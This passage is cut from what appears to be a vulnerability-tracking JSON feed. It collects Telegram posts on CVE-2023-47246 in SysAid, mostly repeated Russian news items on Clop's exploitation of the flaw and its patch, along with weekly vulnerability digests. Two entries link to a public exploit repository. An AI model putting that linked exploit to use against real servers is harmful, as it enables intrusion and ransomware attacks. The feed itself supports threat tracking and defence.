\u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e WAR-\u0430\u0440\u0445\u0438\u0432\u0430 \u0432 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0432\u0435\u0431-\u0441\u043b\u0443\u0436\u0431\u044b Tomcat SysAid. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0441\u043b\u0435\u0434\u043e\u0432 \u0438 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0439 \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u2705 SysAid \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-47246. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0438 \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n#SysAidSecurity #0day #CyberSecurity #DataBreachAlert\n\n@ZerodayAlert", "creation_timestamp": "2026-07-07T00:00:23.500814Z"}, {"uuid": "0228eb70-8331-4c35-ac6c-ab9f293ea81c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/ZerodayAlert/85", "content": "SysAid \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0441\u0442\u043e\u0438\u0442 \u0443\u0433\u0440\u043e\u0437\u0435: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c 0day \u0432 \u0446\u0435\u043d\u0442\u0440\u0435 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\n\u2705 \u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 CVE-2023-47246 \u0432 SysAid \u0434\u043b\u044f \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u043f\u043e\u0445\u0438\u0449\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f Clop.\n\n\u2705 \u041f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e WAR-\u0430\u0440\u0445\u0438\u0432\u0430 \u0432 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0432\u0435\u0431-\u0441\u043b\u0443\u0436\u0431\u044b Tomcat SysAid. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0441\u043b\u0435\u0434\u043e\u0432 \u0438 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0439 \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u2705 SysAid \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-47246. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0438 \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n#SysAidSecurity #0day #CyberSecurity #DataBreachAlert\n\n@ZerodayAlert", "creation_timestamp": "2026-07-12T05:00:05.143491Z"}, {"uuid": "be8b62ed-10fe-4c35-bf74-5a24fc59d225", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/ZerodayAlert/85", "content": "SysAid \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0441\u0442\u043e\u0438\u0442 \u0443\u0433\u0440\u043e\u0437\u0435: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c 0day \u0432 \u0446\u0435\u043d\u0442\u0440\u0435 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\n\u2705 \u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 CVE-2023-47246 \u0432 SysAid \u0434\u043b\u044f \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u043f\u043e\u0445\u0438\u0449\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f Clop.\n\n\u2705 \u041f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e WAR-\u0430\u0440\u0445\u0438\u0432\u0430 \u0432 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0432\u0435\u0431-\u0441\u043b\u0443\u0436\u0431\u044b Tomcat SysAid. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0441\u043b\u0435\u0434\u043e\u0432 \u0438 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0439 \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u2705 SysAid \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-47246. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0438 \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n#SysAidSecurity #0day #CyberSecurity #DataBreachAlert\n\n@ZerodayAlert", "creation_timestamp": "2026-07-13T00:00:52.575123Z"}, {"uuid": "bd6ec1d1-6b3b-462b-a89d-628b8b2f2add", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/cyberwarehouse/181", "content": "https://github.com/W01fh4cker/CVE-2023-47246-EXP", "creation_timestamp": "2026-07-17T11:00:06.954695Z"}, {"uuid": "623f8a51-7980-44cf-8b2c-327a17fce4b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/181", "content": "https://github.com/W01fh4cker/CVE-2023-47246-EXP", "creation_timestamp": "2026-07-18T00:00:28.686028Z"}, {"uuid": "36be99b8-9e1a-4f38-8134-edef7e13f631", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/cisoclub/2983", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (15-21 \u043d\u043e\u044f\u0431\u0440\u044f)\n\n1\ufe0f\u20e3 \u0412 \ud83d\udcf0WordPress-\u043f\u043b\u0430\u0433\u0438\u043d\u0435 WP Fastest \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0431\u0430\u0437 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0430\u0439\u0442\u0430.\n\n2\ufe0f\u20e3 \u0410\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043d\u043e\u044f\u0431\u0440\u044c\u0441\u043a\u0438\u0439 \ud83d\udcbe\u043d\u0430\u0431\u043e\u0440 \u043f\u0430\u0442\u0447\u0435\u0439, \u0432 \u043e\u0431\u0449\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0445 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (\u0431\u0435\u0437 \u0443\u0447\u0435\u0442\u0430 \u0435\u0449\u0435 20 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f Edge), \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u043f\u044f\u0442\u044c 0-day \u043e\u0448\u0438\u0431\u043e\u043a.\n\n3\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Intel \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445 \u0434\u043b\u044f \ud83d\udcbb\u041f\u041a, \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0438 \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043d\u043e\u0432\u044b\u0435 \u043c\u0438\u043a\u0440\u043e\u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b Alder Lake, Raptor Lake \u0438 Sapphire Rapids.\n\n4\ufe0f\u20e3 \u0425\u0430\u043a\u0435\u0440\u044b \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-37580 \u0432 Zimbra \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u043d\u044b\u0445 \ud83c\udf0f\u0441\u0442\u0440\u0430\u043d. \n\n5\ufe0f\u20e3 \u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \ud83d\udd11LockBit \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Citrix Bleed (CVE-2023-4966) \u0434\u043b\u044f \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u043d\u0430 \u043a\u0440\u0443\u043f\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432. \n\n6\ufe0f\u20e3 \u041a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u044f \ud83c\udf4fApple \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c iPhone, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043c\u043e\u0436\u043d\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0433\u043e \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u00ab\u0442\u0430\u043c\u0430\u0433\u043e\u0447\u0438\u00bb-\u0434\u0435\u0432\u0430\u0439\u0441\u0430 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Flipper Zero.\n\n7\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u2601\ufe0fCloud Director, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043f\u043e\u043a\u0430 \u043d\u0435\u0442.\n\n8\ufe0f\u20e3 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Microsoft Threat Intelligence \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f \ud83d\udc1eClop \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0441\u0432\u0435\u0436\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 SysAid (CVE-2023-47246) \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.", "creation_timestamp": "2026-07-29T12:03:06.979040Z"}, {"uuid": "964ce136-aa05-4444-b3bf-cb1891a73f7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/cisoclub/2961", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (7-14 \u043d\u043e\u044f\u0431\u0440\u044f)\n\n1\ufe0f\u20e3 \ud83e\uddb9\ud83c\udffc\u200d\u2642\ufe0f\u0425\u0430\u043a\u0435\u0440\u044b \u043d\u0430\u0447\u0430\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Looney Tunables (CVE-2023-4911), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c root-\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n2\ufe0f\u20e3 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u043e \ud83d\udd11\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 Microsoft Threat Intelligence \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0438, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Clop \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043d\u043e\u0432\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 SysAid (CVE-2023-47246) \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.\n\n3\ufe0f\u20e3 \ud83c\uddf7\ud83c\uddfa\u041c\u0438\u043d\u0446\u0438\u0444\u0440\u044b \u0420\u0424 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0449\u0451 \u043e\u0434\u043d\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u043f\u043e\u0438\u0441\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Bug Bounty, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u0443\u0434\u0435\u0442 \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c 9 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430, \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u00ab\u0413\u043e\u0441\u0443\u0441\u043b\u0443\u0433\u0438\u00bb.\n\n4\ufe0f\u20e3 Angara Security \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \ud83d\udcca\u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0437\u0430\u0449\u0438\u0442\u0435 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043e\u0442\u0435\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0439.\n\n5\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0441\u0440\u043e\u0447\u043d\u043e\u0435 \ud83d\udcbe\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 Cloud Director Appliance. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a CVE-2023-34060, \u0438\u043c\u0435\u0435\u0442 \u0441\u0442\u0435\u043f\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 CVSS 9,8 \u0438\u0437 10.\n\n6\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \ud83e\ude9b\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 59 \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f 2 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 